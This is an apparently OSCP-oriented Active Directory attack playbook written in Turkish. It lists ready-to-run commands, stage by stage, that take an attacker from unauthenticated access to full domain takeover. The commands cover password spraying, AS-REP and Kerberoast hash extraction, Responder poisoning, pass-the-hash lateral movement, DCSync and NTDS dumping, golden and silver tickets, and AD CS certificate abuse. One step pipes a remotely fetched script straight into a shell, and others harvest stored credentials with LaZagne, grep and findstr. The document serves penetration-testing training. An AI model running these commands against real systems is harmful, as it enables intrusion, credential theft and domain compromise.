Back to Vault

Active Directory Playbook

Elindekine göre sıralı saldırı zinciri · 40 puanlık AD seti

AD değişkenleri — Vault ile senkron, komutlara otomatik dolar

1 · Cred Yok — Unauthenticated

Sadece ağ erişimi

Henüz geçerli kimlik bilgin yok; ağ üzerinden DC’yi bul ve cred/kullanıcı topla.

Gerekli:DC IPDomain

DC / domain tespiti

netexec<DC_IP>

SMB banner’ından domain adı, hostname ve SMB signing durumunu al.

nxc smb <DC_IP>

Null session — share’ler

netexec<DC_IP>

Anonim (null) oturumla erişilebilir share’leri listele.

nxc smb <DC_IP> -u '' -p '' --shares

Tam anonim enum

enum4linux-ng<DC_IP>

Kullanıcılar, gruplar, parola politikası ve share’ler için toplu enum.

enum4linux-ng -A <DC_IP>

RID brute — kullanıcı listesi çıkar

netexec<DC_IP>

Guest üzerinden RID cycling ile domain kullanıcı adlarını topla (users.txt için).

nxc smb <DC_IP> -u guest -p '' --rid-brute 10000

Kerberos ile kullanıcı doğrula

kerbrute<DOMAIN> <DC_IP>

Userlist’i Kerberos preauth ile doğrula (gürültüsüz kullanıcı enum).

kerbrute userenum -d <DOMAIN> --dc <DC_IP> users.txt

AS-REP Roasting (cred gerekmez)

impacket<DOMAIN> <DC_IP>

Preauth kapalı (DONT_REQ_PREAUTH) kullanıcıların hash’ini çek — kırılabilir.

impacket-GetNPUsers <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -format hashcat -outputfile asrep.hash

Password spray

netexec<DC_IP> <PASSWORD>

Userlist’e tek bir parola ile sprey yap — başarılıyı sürdür.

nxc smb <DC_IP> -u users.txt -p '<PASSWORD>' --continue-on-success

2 · Cred Avı — Nerede Saklı

cred yokken bakılacak yerler

Hiç cred yok. Aşağıdaki kaynaklar OSCP’de en sık cred sızdıran yerler — biri iş görünce Aşama 3’e geç.

Gerekli:Target IPDC IPInterface

Null session — share’lerde dosya ara

netexec<TARGET_IP>

Anonim SMB ile share’leri gez, config/xml/script içinde parola tara (spider_plus JSON çıktısı /tmp/nxc_hosted).

nxc smb <TARGET_IP> -u '' -p '' -M spider_plus

Anonim share’i indir

smbclient<TARGET_IP>

Share listesi al, sonra: smbclient -N //<TARGET_IP>/<SHARE> → recurse ON; prompt OFF; mget *

smbclient -N -L //<TARGET_IP>

Anonim FTP

ftp<TARGET_IP>

anonymous / boş parola ile giriş dene; dosyaları indir (get / mget *).

ftp <TARGET_IP>   # user: anonymous  pass: (boş)

NFS export mount

nfs<TARGET_IP> <SHARE>

Açık NFS export’ları listele, mount edip dosyalara/keylere bak.

showmount -e <TARGET_IP>   # sonra: sudo mount -t nfs <TARGET_IP>:/<SHARE> /mnt -o nolock

SNMP dump (UDP 161)

snmp<TARGET_IP>

Community 'public' ile process argümanlarında/işlemlerde parola sızıntısı ara.

snmpwalk -v2c -c public <TARGET_IP> | grep -iE "pass|pwd|cred|user"

LDAP description alanları

ldapsearch<DC_IP> <DOMAIN>

Anonim bind ile kullanıcı description/info alanlarına bak — parola koymak klasik hatadır.

ldapsearch -x -H ldap://<DC_IP> -b "DC=<DOMAIN>" "(objectClass=user)" description info | grep -iE "descr|info|pass"

Web: açık .git / yedek / config

git-dumper<TARGET_IP>

Exposed .git çek; ayrıca web.config, wp-config.php, .env, *.bak/*.zip, robots.txt kontrol et.

git-dumper http://<TARGET_IP>/.git ./loot   # sonra: git log -p | grep -iE "pass|key|secret"

Default / zayıf cred (servis panelleri)

hydra<TARGET_IP>

Tomcat (tomcat:tomcat), Jenkins, phpMyAdmin (root:boş), GitLab vb. varsayılanları dene, sonra brute.

hydra -L users.txt -P passwords.txt <TARGET_IP> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"

Responder — NetNTLMv2 yakala

responder<INTERFACE>

LLMNR/NBT-NS zehirleme ile ağdan hash topla; gelen hash’i hashcat -m 5600 ile kır.

sudo responder -I <INTERFACE> -wv

username = password spray

netexec<DC_IP>

RID brute’tan çıkan userlist ile kullanıcı adının parola olduğu hesapları yakala.

nxc smb <DC_IP> -u users.txt -p users.txt --no-bruteforce --continue-on-success

Bir shell aldıysan: otomatik cred avı

linpeas / winpeas<LHOST>

İlk foothold sonrası local cred/anahtar/hash için PEAS çalıştır (linpeas.sh / winPEASx64.exe).

curl <LHOST>/linpeas.sh | sh   # Windows: .\winPEASx64.exe

Windows: LaZagne — kayıtlı parolalar

lazagne

Tarayıcı, WiFi, RDP, DB, mail vb. tüm uygulama parolalarını topla.

lazagne.exe all

Linux: dosyalarda parola grep

grep

Web kökü, config, home ve history dosyalarında düz metin parola ara.

grep -riE "password|passwd|pass=|secret|api[_-]?key" /var/www /etc /home /opt 2>/dev/null

Windows: config/history’de parola ara

findstr

unattend.xml, *.config, PowerShell history ve metin dosyalarında parola tara.

findstr /si password *.xml *.ini *.txt *.config 2>nul & type %APPDATA%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

3 · Cred Var — Authenticated Enum

user : pass elde edildi

En az bir geçerli kullanıcı+parola var. Domain’i haritalandır ve roast/AD CS dene.

Gerekli:DomainDC IPUsernamePassword

Cred doğrula + admin?

netexec<DC_IP> <USER> <PASS>

“Pwn3d!” çıktısı bu host’ta yerel admin olduğunu gösterir.

nxc smb <DC_IP> -u <USER> -p <PASS>

Tüm subnet’te dene

netexec<SUBNET> <USER> <PASS>

Aynı cred’in yerel admin olduğu diğer makineleri bul.

nxc smb <SUBNET> -u <USER> -p <PASS>

Kullanıcı / grup / politika

netexec<DC_IP> <USER> <PASS>

Domain kullanıcıları, grupları ve parola politikasını çek.

nxc smb <DC_IP> -u <USER> -p <PASS> --users --groups --pass-pol

Share’leri tara

netexec<DC_IP> <USER> <PASS>

Okuma/yazma haklı share’leri bul (GPP, script, config sızıntısı).

nxc smb <DC_IP> -u <USER> -p <PASS> --shares

BloodHound topla

bloodhound<USER> <PASS> <DOMAIN> <DC_IP>

Tüm collection metotlarıyla saldırı yolu grafiğini çıkar (.zip → BloodHound GUI).

bloodhound-python -u <USER> -p '<PASS>' -d <DOMAIN> -ns <DC_IP> -c all --zip

Kerberoasting

impacket<DOMAIN> <USER> <PASS> <DC_IP>

SPN’li servis hesaplarının TGS hash’ini çek (offline kır).

impacket-GetUserSPNs <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP> -request -outputfile kerberoast.hash

AS-REP Roasting (authed)

impacket<DOMAIN> <USER> <PASS> <DC_IP>

Preauth kapalı kullanıcıların hash’ini kimlikli olarak çek.

impacket-GetNPUsers <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP> -request -format hashcat

GPP cpassword

netexec<DC_IP> <USER> <PASS>

SYSVOL’deki Group Policy Preferences parolalarını çöz.

nxc smb <DC_IP> -u <USER> -p <PASS> -M gpp_password

AD CS zafiyeti (ESC1-8)

certipy<USER> <DOMAIN> <PASS> <DC_IP>

Sömürülebilir sertifika şablonlarını bul (ESC1 = ayrıcalık yükseltme).

certipy-ad find -u <USER>@<DOMAIN> -p '<PASS>' -dc-ip <DC_IP> -vulnerable -stdout

Delegasyon enum (constrained/RBCD)

impacket<DOMAIN> <USER> <PASS> <DC_IP>

Unconstrained/constrained/RBCD delegasyona sahip hesapları bul — güçlü ayrıcalık yükseltme yolu.

impacket-findDelegation <DOMAIN>/<USER>:<PASS> -dc-ip <DC_IP>

GMSA parolası oku

netexec<DC_IP> <USER> <PASS>

ReadGMSAPassword hakkın varsa gMSA hesabının NT hash’ini çek.

nxc ldap <DC_IP> -u <USER> -p <PASS> --gmsa

LAPS parolası oku

netexec<DC_IP> <USER> <PASS>

LAPS okuma hakkın varsa yerel admin parolalarını çek.

nxc ldap <DC_IP> -u <USER> -p <PASS> -M laps

description alanlarında parola

ldapsearch<DC_IP> <USER> <PASS>

Kullanıcı description/info alanlarında düz metin parola ara.

nxc ldap <DC_IP> -u <USER> -p <PASS> -M user-desc

4 · ACL / Delegasyon İstismarı

BloodHound bir yol gösterdi

BloodHound “Outbound Object Control” (GenericAll/WriteDACL/ForceChangePassword...) veya delegasyon gösteriyorsa hedef nesneyi ele geçir.

Gerekli:DomainDC IPUsernamePassword

ForceChangePassword — parola sıfırla

net<TARGET_USER> <DOMAIN> <USER> <PASS> <DC_IP>

Hedef kullanıcı üzerinde bu hakkın varsa parolasını değiştir.

net rpc password '<TARGET_USER>' 'NewPass123!' -U '<DOMAIN>/<USER>%<PASS>' -S <DC_IP>

GenericAll — parola sıfırla (bloodyAD)

bloodyAD<DC_IP> <DOMAIN> <USER> <PASS> <TARGET_USER>

bloodyAD ile hedef nesne parolasını değiştir.

bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASS>' set password '<TARGET_USER>' 'NewPass123!'

GenericWrite — hedefi Kerberoastable yap

bloodyAD<DC_IP> <DOMAIN> <USER> <PASS> <TARGET_USER>

Hedef hesaba SPN ekle, Kerberoast et, sonra SPN’i geri al.

bloodyAD --host <DC_IP> -d <DOMAIN> -u <USER> -p '<PASS>' set object '<TARGET_USER>' servicePrincipalName -v 'fake/svc'

Gruba kendini ekle (GenericAll on group)

net<GROUP> <USER> <DOMAIN> <PASS> <DC_IP>

Ayrıcalıklı gruba (ör. Domain Admins) üye ekle.

net rpc group addmem '<GROUP>' '<USER>' -U '<DOMAIN>/<USER>%<PASS>' -S <DC_IP>

RBCD saldırısı

impacket<TARGET_COMPUTER> <ATTACKER_COMPUTER> <DC_IP> <DOMAIN> <USER> <PASS>

Yazma haklı bir bilgisayara delegasyon kur, sonra S4U ile impersonate et.

impacket-rbcd -delegate-to <TARGET_COMPUTER>$ -delegate-from <ATTACKER_COMPUTER>$ -action write -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS>

S4U — hizmet bileti al (impersonate)

impacket<TARGET_HOSTNAME> <DC_IP> <DOMAIN> <ATTACKER_COMPUTER> <PASS>

RBCD/constrained sonrası Administrator adına servis bileti al.

impacket-getST -spn cifs/<TARGET_HOSTNAME> -impersonate administrator -dc-ip <DC_IP> <DOMAIN>/<ATTACKER_COMPUTER>$:<PASS>

5 · Hash Kırma — Offline

Roast / NTLM hash’leri kır

Kerberoast, AS-REP veya NTLM hash elde ettin — rockyou ile offline kır.

Kerberoast (TGS-REP)

hashcat

Mode 13100 — servis hesabı parolaları.

hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt

AS-REP

hashcat

Mode 18200 — preauth kapalı hesaplar.

hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

NTLM

hashcat

Mode 1000 — secretsdump/SAM’dan çıkan NT hash’leri.

hashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt

NetNTLMv2 (Responder)

hashcat

Mode 5600 — LLMNR/NBT-NS zehirlemeden yakalanan hash.

hashcat -m 5600 netntlmv2.txt /usr/share/wordlists/rockyou.txt

DCC2 (mscash2)

hashcat

Mode 2100 — cache’lenmiş domain kimlik bilgileri (yavaş, hedefli sözlük kullan).

hashcat -m 2100 dcc2.hash /usr/share/wordlists/rockyou.txt

Kural ile (best64)

hashcat

Kırılamayan hash için mutasyon kuralı ekle.

hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

John alternatifi

john

Hashcat çalışmıyorsa John ile kır (format otomatik algılanır).

john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.hash

6 · Yatay Hareket — Lateral Movement

cred veya NTLM hash ile

Parola ya da NTLM hash var. Hedef makinelere shell al, Pass-the-Hash uygula.

Gerekli:Target IPDomainUsernamePassword / NTLM HashDC IP

PtH tarama — nerede admin?

netexec<SUBNET> <USER> <NTLM_HASH>

NTLM hash ile subnet’te yerel admin olunan host’ları bul.

nxc smb <SUBNET> -u <USER> -H <NTLM_HASH>

Evil-WinRM (parola)

evil-winrm<TARGET_IP> <USER> <PASS>

WinRM (5985) açıksa interaktif shell.

evil-winrm -i <TARGET_IP> -u <USER> -p '<PASS>'

Evil-WinRM (Pass-the-Hash)

evil-winrm<TARGET_IP> <USER> <NTLM_HASH>

Parola yok, NT hash ile giriş.

evil-winrm -i <TARGET_IP> -u <USER> -H <NTLM_HASH>

psexec (parola)

impacket<DOMAIN> <USER> <PASS> <TARGET_IP>

SYSTEM shell (gürültülü ama güvenilir).

impacket-psexec <DOMAIN>/<USER>:<PASS>@<TARGET_IP>

wmiexec (daha sessiz)

impacket<DOMAIN> <USER> <PASS> <TARGET_IP>

Servis oluşturmadan WMI üzerinden komut çalıştırma.

impacket-wmiexec <DOMAIN>/<USER>:<PASS>@<TARGET_IP>

psexec (Pass-the-Hash)

impacket<NTLM_HASH> <DOMAIN> <USER> <TARGET_IP>

NT hash ile SYSTEM shell.

impacket-psexec -hashes :<NTLM_HASH> <DOMAIN>/<USER>@<TARGET_IP>

Overpass-the-Hash (TGT al)

impacket<DOMAIN> <USER> <NTLM_HASH> <DC_IP>

NT hash → Kerberos TGT. Sonra: export KRB5CCNAME=<USER>.ccache && impacket-psexec -k -no-pass <DOMAIN>/<USER>@<DC_HOSTNAME>

impacket-getTGT <DOMAIN>/<USER> -hashes :<NTLM_HASH> -dc-ip <DC_IP>

RDP (parola)

xfreerdp<USER> <PASS> <DOMAIN> <TARGET_IP>

Grafik oturum (3389). Pano + drive yönlendirme açık.

xfreerdp /u:<USER> /p:<PASS> /d:<DOMAIN> /v:<TARGET_IP> /cert:ignore +clipboard

RDP (Pass-the-Hash)

xfreerdp<USER> <NTLM_HASH> <TARGET_IP>

Restricted Admin açıksa NT hash ile RDP.

xfreerdp /u:<USER> /pth:<NTLM_HASH> /v:<TARGET_IP> /cert:ignore

MSSQL → xp_cmdshell

impacket<DOMAIN> <USER> <PASS> <TARGET_IP>

MSSQL erişimi varsa komut çalıştır (enable_xp_cmdshell; xp_cmdshell "whoami").

impacket-mssqlclient <DOMAIN>/<USER>:<PASS>@<TARGET_IP> -windows-auth

atexec (zamanlanmış görev)

impacket<DOMAIN> <USER> <PASS> <TARGET_IP>

psexec engelliyse Task Scheduler üzerinden komut çalıştır.

impacket-atexec <DOMAIN>/<USER>:<PASS>@<TARGET_IP> "whoami"

Kerberos bileti ile (PtT)

netexec<DC_HOSTNAME>

export KRB5CCNAME=ticket.ccache sonrası bilet ile kimlik doğrula.

nxc smb <DC_HOSTNAME> --use-kcache -x whoami

7 · Domain Hakimiyeti — Dominance

DA / DCSync hakkı

Domain Admin ya da DCSync (Replication) hakkı olan bir hesaba ulaştın — tüm domain’i düşür.

Gerekli:DomainDC IPUsernamePassword / NTLM Hash

DCSync — tüm hash’ler (parola)

impacket<DOMAIN> <USER> <PASS> <DC_IP>

Domain’deki tüm NT hash’leri DC’den replike et.

impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC_IP> -just-dc

DCSync (Pass-the-Hash)

impacket<NTLM_HASH> <DOMAIN> <USER> <DC_IP>

NT hash ile DCSync.

impacket-secretsdump -hashes :<NTLM_HASH> <DOMAIN>/<USER>@<DC_IP> -just-dc

Sadece krbtgt (Golden için)

impacket<DOMAIN> <USER> <PASS> <DC_IP>

Golden Ticket üretmek için krbtgt hash’ini al.

impacket-secretsdump <DOMAIN>/<USER>:<PASS>@<DC_IP> -just-dc-user krbtgt

Yerel SAM + LSA dump

netexec<TARGET_IP> <USER> <PASS>

Admin olduğun host’ta yerel cred/hash ve LSA secret çek.

nxc smb <TARGET_IP> -u <USER> -p <PASS> --sam --lsa

Domain SID al

impacket<DOMAIN> <USER> <PASS> <DC_IP>

Golden Ticket için domain SID’ini öğren.

impacket-lookupsid <DOMAIN>/<USER>:<PASS>@<DC_IP>

Golden Ticket üret

impacket<KRBTGT_HASH> <DOMAIN_SID> <DOMAIN>

krbtgt hash + domain SID ile Administrator bileti oluştur (custom var: <KRBTGT_HASH>, <DOMAIN_SID>).

impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> Administrator

NTDS dump (nxc)

netexec<DC_IP> <USER> <PASS>

DA isen NTDS.dit’i doğrudan dök (secretsdump alternatifi).

nxc smb <DC_IP> -u <USER> -p <PASS> --ntds

ADCS ESC1 — sertifika iste

certipy<USER> <DOMAIN> <PASS> <DC_IP> <CA_NAME> <TEMPLATE>

Zayıf şablondan Administrator UPN’li sertifika iste.

certipy-ad req -u <USER>@<DOMAIN> -p '<PASS>' -dc-ip <DC_IP> -ca <CA_NAME> -template <TEMPLATE> -upn administrator@<DOMAIN>

ADCS — sertifika ile auth (NT hash al)

certipy<DC_IP>

Elde edilen .pfx ile kimlik doğrula, Administrator NT hash’ini al.

certipy-ad auth -pfx administrator.pfx -dc-ip <DC_IP>

Silver Ticket

impacket<NTLM_HASH> <DOMAIN_SID> <DOMAIN> <TARGET_HOSTNAME>

Servis hesabı NT hash’i ile tek servise (CIFS/MSSQL...) sahte bilet.

impacket-ticketer -nthash <NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn cifs/<TARGET_HOSTNAME> administrator

Loot & Credentials

Store passwords and hashes globally

No loot added yet.
Save cracked passwords here.